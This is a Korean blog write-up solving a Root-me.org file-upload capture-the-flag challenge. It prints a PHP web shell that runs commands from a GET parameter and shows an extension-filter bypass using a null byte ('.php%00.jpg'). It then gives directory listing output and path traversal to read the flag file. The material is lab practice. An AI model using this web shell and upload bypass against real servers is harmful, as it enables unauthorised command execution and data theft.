파일 업로드 문제다. 이전부터 깊게 연습해보고 싶었는데 이번 기회에 제대로 풀어보도록 하자.
/.passwd 를 실행하도록 코드를 짜면 된다. 보통 웹쉘을 만들어서 inject 해줘야 하는데 다음과 같은 형식으로 코드를 짜줘야 한다.
<?php
system("$_GET['cmd']");
?>
이 경우는 우리가 목표로 하는 파일 위치를 모르기 때문에 계속해서 찾아볼 수 있도록 하기 위함이고, 이 문제같은 경우 파일 경로를 알기 때문에 다음과 같이 작성했다.
<?php
system("cat /.passwd");
?>
이제 문제를 보자
역시나 업로드 카테고리가 있다.
이렇게 확장자를 필터링 하는 모습을 볼 수 있는데 현재 파일이 php로 작성되어 있어서 우회해야 한다.
우회하는 방법이 많은데 그 방법중 하나로
.php -> .PHP
이렇게 바꿔주는 방법이 있다.
안된다.
.php -> .php%00
이렇게 널 문자를 넣어주는 방법도 있다.
그대로이다. 뭘 잘못했나 봤더니 .jpg/jpeg만 받아들이는 것 같다.
null문자 뒤에 .jpg 붙여주자. 이래서 문제 제목이 double extension 인 것 같다.
.php -> .php%00.jpg
오케이 성공했다. 경로도 보여주는 것으로 보아 상당히 취약한것 같다.
커맨드 넣으면서 보고싶어서 첫번째 파일로 넣어줬다.
total 184
drwxr-s--- 2 web-serveur-ch20 www-data 4096 Aug 4 02:21 .
drwxr-s--- 19 web-serveur-ch20 www-data 172032 Aug 4 02:18 ..
-rw-r--r-- 1 web-serveur-ch20 web-serveur-ch20 34 Aug 4 02:21 test1.php.jpeg
-rw-r--r-- 1 web-serveur-ch20 web-serveur-ch20 36 Aug 4 02:17 test2.PHP.jpg
직접 ls 하면서 찾아본 결과. galerie 폴더 위의 디렉토리가 루트 디렉토리이다.
즉 ?cmd =cat ../../../.passwd 를 넣어주면 passwd 가 나온다.
이렇게 password를 출력할 수 있다.
'WriteUp > Root-me.org' 카테고리의 다른 글
Root-me : [Web_Server]HTTP - Cookies (0) | 2020.08.04 |
---|---|
Root-me : [Web_Server]File upload - MIME (0) | 2020.08.04 |
Root-me : [Web_Server]Install files (0) | 2020.07.31 |
Root-me : [Web_Server] HTTP - Verb tampering (0) | 2020.07.31 |
Root-me : [Web_Server] HTTP - Improper redirect (0) | 2020.07.30 |